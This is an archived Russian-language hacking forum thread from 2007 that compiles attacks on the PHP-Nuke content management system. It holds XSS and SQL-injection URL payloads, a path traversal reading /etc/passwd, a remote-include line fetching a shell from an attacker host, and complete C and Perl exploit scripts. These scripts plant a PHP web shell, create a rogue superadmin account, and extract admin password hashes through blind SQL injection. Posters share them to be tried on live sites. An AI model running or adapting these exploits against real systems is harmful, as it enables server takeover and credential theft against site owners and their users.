Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Обзор уязвимостей в PHP-Nuke |

31.03.2007, 13:52
|
|
Новичок
Регистрация: 09.02.2007
Сообщений: 9
Провел на форуме: 29240
Репутация:
3
|
|
Обзор уязвимостей в PHP-Nuke
Поискал, не нашёл на форму faq по уязвимостям в php-nuke. Вот собрал не большой.
PHP-Nuke 6.x, 7-7.6
Тип: XSS
Уязвимость существует в модуле search, при обработки входных данных в переменной 'min'
Примеры:
http://site.com/phpnuke/modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=users&category=2
http://site.com/phpnuke/modules.php?name=FAQ&myfaq=yes&i d_cat=1&
categories=45435[XSS]
Так же можно на прямую запросить некоторые сценарии.
Примеры:
http://site.com/phpnuke/modules.php?name=Your_Account&op=my_headlines
http://site.com/phpnuke/modules.php?name=Your_Account&op=userinfo
http://site.com/phpnuke/modules.php?name=Encyclopedia&file=index&op=search
PHP-Nuke 7.8
Тип:SQL-Injection
Уязвимость при обработке входных данных в параметре username в модуле Your_Account, в параметре url модуля Downloads и в параметре description модуля Web_link. С помощью специально сформулированного URL'a, можно выполнить sql запрос.
Пример:
http://site.com/phpnuke/modules.php?name=Web_Links
& l_op=Add&title=what&description=[SQL]&url=what
http://site.com/phpnuke/modules.php?name=Downloads
&d_op=Add&url=[SQL]&title=what&description=what
Эксплоит:
/*================================================= =\
# SecurityReason.com |
# ( sp3x ) sp3x@securtiyreason.com |
# |
# /---------------------------\ |
# | Ctitical SQL INCJECTION | |
# | PHPNuke <= 7.8 | |
# \---------------------------/ |
# |
# PHPNuke-sp3x[1] |
# This exploit is based on 'username' |
# SQL injection vuln in Your_Account module. |
# |
# References: |
# securityreason.com/achievement_securityalert/32 |
# |
# ---| work only on mysql version > 4.0 |--- |
# |
#================================================= =*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80 // port of the web server
void begin(void);
void sqlinj(int sock, char *argv[]);
int main(int argc, char *argv[]){
int sock;
struct sockaddr_in addr;
struct hostent *hp=0;
if(argc!=4) {
begin();
}
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\n\n[-] Creating socket [FAILED]\n\n");
exit(EXIT_FAILURE);
}
printf("\n\n[+] Creating socket [OK]\n");
if((hp = gethostbyname(argv[1])) == 0) {
printf("[-] Resolving %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}
printf("[+] Resolving %s [OK]\n", argv[1]);
memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
printf("[-] Connecting at %s [FAILED]\n\n", argv[1]);
exit(EXIT_FAILURE);
}
printf("[+] Connecting at %s [OK]\n", argv[1]);
sqlinj(sock, argv);
printf("[+] Now check the shell\n"
"[+] http://%s\n\n",argv[1]);
shutdown(sock, 2);
close(sock);
return(0);
}
void begin(void){
printf("*---------------------------------------*\n"
"* SecurityReason *\n"
"* EXPLOIT for PHPNuke <=7.8 *\n"
"* Coded by : sp3x Date : 16.02.2006 *\n"
"*---------------------------------------*\n\n"
" Usage : \n"
" PHPNuke-sp3x[1] HOST /[path_phpnuke] [s_directory]\n\n"
" HOST - Host where is phpnuke example: localhost \n"
" [path_phpnuke] - PHPNuke directory\n"
" [s_directory] - shell directory where to upload\n\n"
" Example :\n\n"
" PHPNuke-sp3x[1] www.victim.com /phpnuke/html/ /home/sp3x/nuke78/html/shell.php \n"
" After this go to http://www.victim.com/phpnuke/html/shell.php?sr=ls \n\n");
exit(0);
return;
}
void sqlinj(int sock, char *argv[]){
FILE *go;
int size = 264;
go = fdopen(sock,"a");
if (go == 0) {
perror("[-] fdopen [FAILED]\n\n");
close(sock);
exit(EXIT_FAILURE);
}
setbuf(go,NULL);
size+=strlen(argv[3]);
fprintf(go,"POST %s HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Referer: http://%s%s?name=Your_Account&op=new user\n"
"User-Agent: SecurityReason - [SR]\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"
"name=Your_Account&op=new user&user_email=securitybreak@securityreason.com&"
"user_password=hackme&user_password2=hackme&userna me="
"s'/**/UNION/**/SELECT/**/'<? echo \"SecurityReason Shell\";system($_GET
[sr]);'/**/FROM/**/nuke_authors/**/INTO/**/OUTFILE/**/'%s'/*\n\n"
"Cookie: lang=english\r\n\r\n",argv[2],argv[1],argv[1],argv[2],size,argv[3]);
printf("[+] Sending exploit [OK]\n\n");
}
PHP-Nuke 7.8
Тип: Межсайтовый скриптинг
Уязвимость существует из-за недостаточной обработки входных данных в параметре "pagetitle" в сценарии "header.php". С помощью специально сформулированного запроса, можно выольинть произвольный код.
Пример:
http://site.com/phpnuke/?pagetitle=title</title></head><script+src=http://xacksite.com/script.js
PHP-Nuke 7.9
Тип:SQL-inection
Уязвимость во входных данных в параметре "forwhat" в сценарии modules/journal/search.php
С помощью специально сформулированного URL'а, можно выполнить произвольный sql запрос.
Пример:
http://site.com/phpnuke/moblog/big.php?img=[SQL]&pg=1
PHP-Nuke 7.9
Тип:Обзод каталога
Можно просматривать файлы на целевой системе. Уязвимость существует в сценарии 'modules.php' из-за недостаточной обработки входных данных. Можно послать HTTP GET или POST запрос.
Пример:
http://site.com/phpnuke/modules.php?name=Search
&file=../../../../../../ ../../../etc/passwd%00
|
|
|

31.03.2007, 15:45
|
|
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме: 3465924
Репутация:
931
|
|
1) Указано мало уязвимостей в тех или иных версиях движка этого...( milw0rm, securitylab )
2) Оформление ужасное, точнее его вовсе нет...
3) Почему-то мне кажется, что копипаст...
P.s. Если дополнишь, грамотно оформишь ==> готов буду прикрепить тему...
Последний раз редактировалось Koller; 31.03.2007 в 16:04..
|
|
|

31.03.2007, 16:00
|
|
Новичок
Регистрация: 09.02.2007
Сообщений: 9
Провел на форуме: 29240
Репутация:
3
|
|
Это так, собрал из всего что было у меня...Постараюсь доделать и оформить.
|
|
|

31.03.2007, 19:00
|
|
Новичок
Регистрация: 31.03.2007
Сообщений: 4
Провел на форуме: 39956
Репутация:
2
|
|
Вот еще горстка свежих сплоитов, опубликованных на securitylab.ru для PHP-Nuke 8.0
1. PHP-Nuke <= 8.0 Final (INSERT) Remote SQL Injection Exploit
Воздействие: SQL-инъекция
Эксплоит:
Код:
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]I registered new superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php
#[+]Login:krasza
#[+]Password:krasza
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
$referer="http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES ('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com', '61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
print "[+]I registered new superadmin\n";
print "[+]You can login at $adres \n";
print "[+]Login:krasza\n";
print "[+]Password:krasza\n";
print "[+]Exploit successed\n";
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl exploit.pl http://phpnuke.org/index.php\n";
exit(0);
}
2. PHP-Nuke <= 8.0 Final (HTTP Referers) Remote SQL Injection Exploit
Воздействие: SQL-инъекция
Эксплоит:
Код:
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]You can see login and hash on web page in 'HTTP referers' block
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
$referer="http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$referer="http://www.krasza.int.pl'),(NULL,(SELECT `aid` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
print "[+]You can see login and hash on web page in 'HTTP referers' block\n";
print "[+]Exploit successed\n";
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version, when 'HTTP Referers' block is on\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version, when 'HTTP Referers' block is on\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl exploit.pl http://phpnuke.org/index.php\n";
exit(0);
}
3. PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)
Воздействие: SQL-инъекция
Эксплоит:
Код:
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Blind sql injection attack in INSERT syntax
#version for mysql >= 4.0.24, using 'brute force'
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]Time normal query: 2 seconds
#[+]Length user's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use warnings;
use LWP;
my $offset=4;#It is the most important variable!!
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);
banner();
$czas_nor=polacz("http://www.krasza.int.pl");
print "[+]Time normal query: $czas_nor seconds\n";
$dlugosc_user=ustal_dlugosc("aid",8);
print "[+]Length user's record: $dlugosc_user\n";
print "[+]Length password's record: 32\n";
print "[+]Login:\n";
$user=brute_force_aid($dlugosc_user);
print "[+]Password:\n";
$hash=brute_force_pass(32);
print "[+]Super admin:\n";
print "$user:$hash\n";
##
sub brute_force_pass{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
#przeskok-optymalizacja;]
if($j==57){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub brute_force_aid{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
if($j==57){
$j=64;
}
if($j==90){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub ustal_dlugosc{
my ($pole,$len)=@_;
my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
$narazie_dziala_liczba=0;
$nie_dziala_liczba=65;
#for($len=1;$len<64;$len++){
while($len<=64){
if($narazie_dziala_liczba==$len || $nie_dziala_liczba<=$len){
return $narazie_dziala_liczba;
}
$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((LENGTH(`".$pole."`)>".$len.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$narazie_dziala_liczba=$len+1;
$len+=2;
}else{
$nie_dziala_liczba=$len+1;
$len-=1;
}
}
print "[-]Exploit Failed\n";
exit;
}
sub czy_dziala{
my ($refik)=@_;
my $czas_zapytania;
$czas_zapytania=polacz($refik);
if($czas_zapytania>$czas_nor+$offset){
return 1;
}else{
return 0;
}
}
sub polacz{
my ($referrer)=@_;
my ($czas,$czas_poczatek,$czas_koniec);
$zadanie->referer($referrer);
$czas_poczatek=time();
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$czas_koniec=time();
$czas=$czas_koniec-$czas_poczatek;
return $czas;
}
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
exit(0);
}
Я испытывал вышеперечисленые сплоиты на русской редакции движка PHP-Nuke 8.0, к сожалению ни один из них не подействовал на него, я сомневаюсь в кривоте своих рук, скорее придерживаюсь версии того что в русской редакции кроме перевода, также изменена местами структура движка.
Вообщем пробуйте и отписывайтесь о результатах...
|
|
|

01.04.2007, 08:37
|
|
Познающий
Регистрация: 12.02.2007
Сообщений: 47
Провел на форуме: 803460
Репутация:
173
|
|
Автор тема хорошая но стоит ее дописать слишком мало уязвимостей описано, да и старые это уязвимости уже везде фикс. Но за старания + однознАчно.
Последний раз редактировалось Zulf; 01.04.2007 в 08:41..
|
|
|

01.04.2007, 09:42
|
|
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме: 865816
Репутация:
181
|
|
Еще один сплойт))
Код:
#!/usr/bin/perl
# phpnuke <= 8.0, module: Your_Account
# This exploit allows to get admin's password
# need for work:
# magic_quotes off
# ------------------------------------------------
# coded by Kermil
# 24.10.2006
use LWP::UserAgent;
use HTTP::Cookies;
use MIME::Base64;
if ( @ARGV < 3 )
{
usage();
}
$path = $ARGV[0];
$username = $ARGV[1];
$prefix = $ARGV[2];
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->default_header('Referer' => $path );
$res = $xpl->post( $path.'modules.php?name=Your_Account&op=login',
Content => [
"user_password" => "abc",
"username" => "karamba'/**/UNION SELECT '900150983cd24fb0d6963f7d28e17f72',2,1,1,1,1,1,1,pwd,1 FROM ".$prefix."_authors WHERE aid='$username'/*",
]);
print $res->content;
$cookie_jar->extract_cookies( $response );
$cookie = $cookie_jar->as_string();
$cookie =~ m/user=([^;]+)/;
$cookie = $1;
$decoded = decode_base64( $cookie );
@list = split( ':', $decoded );
$hash = "";
$hash = $list[9];
if ( $hash eq "" )
{
print "Exploit failed...";
}
else
{
print "Hash: ".$hash;
}
sub usage()
{
print " Usage: phpnukeGetAdminPassword.pl <path> <admin's name> <prefix>\r\n";
print " <path> - Path to phpnuke, e.g. http://phpnuke.com/\r\n";
print " <admin's name> - name of administrator, e.g. admin\r\n";
print " <prefix> - prefix of tables in database, e.g. nuke\r\n";
print "Coded by Kermil\r\n";
exit();
}
|
|
|

01.04.2007, 09:46
|
|
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме: 3465924
Репутация:
931
|
|
Убедительная просьба в этом топике не отписываться впредь, иначе посты будут удаляться...
Ждем пока автор топика завершит работу...потом будем иобсуждать, и дополнять...
|
|
|

02.04.2007, 11:04
|
|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
От себя могу добавить парочку уязвимостей в модулях.
PHP-Nuke:
_http://www.example.com/nuke_path/iframe.php?file=ftp://user pass@evilsite.com/public_html/shell.html (or) .htm
_http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user pass@evilsite.com/public_html/shell.html (or) .htm
Взято с Milw0rm.com
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|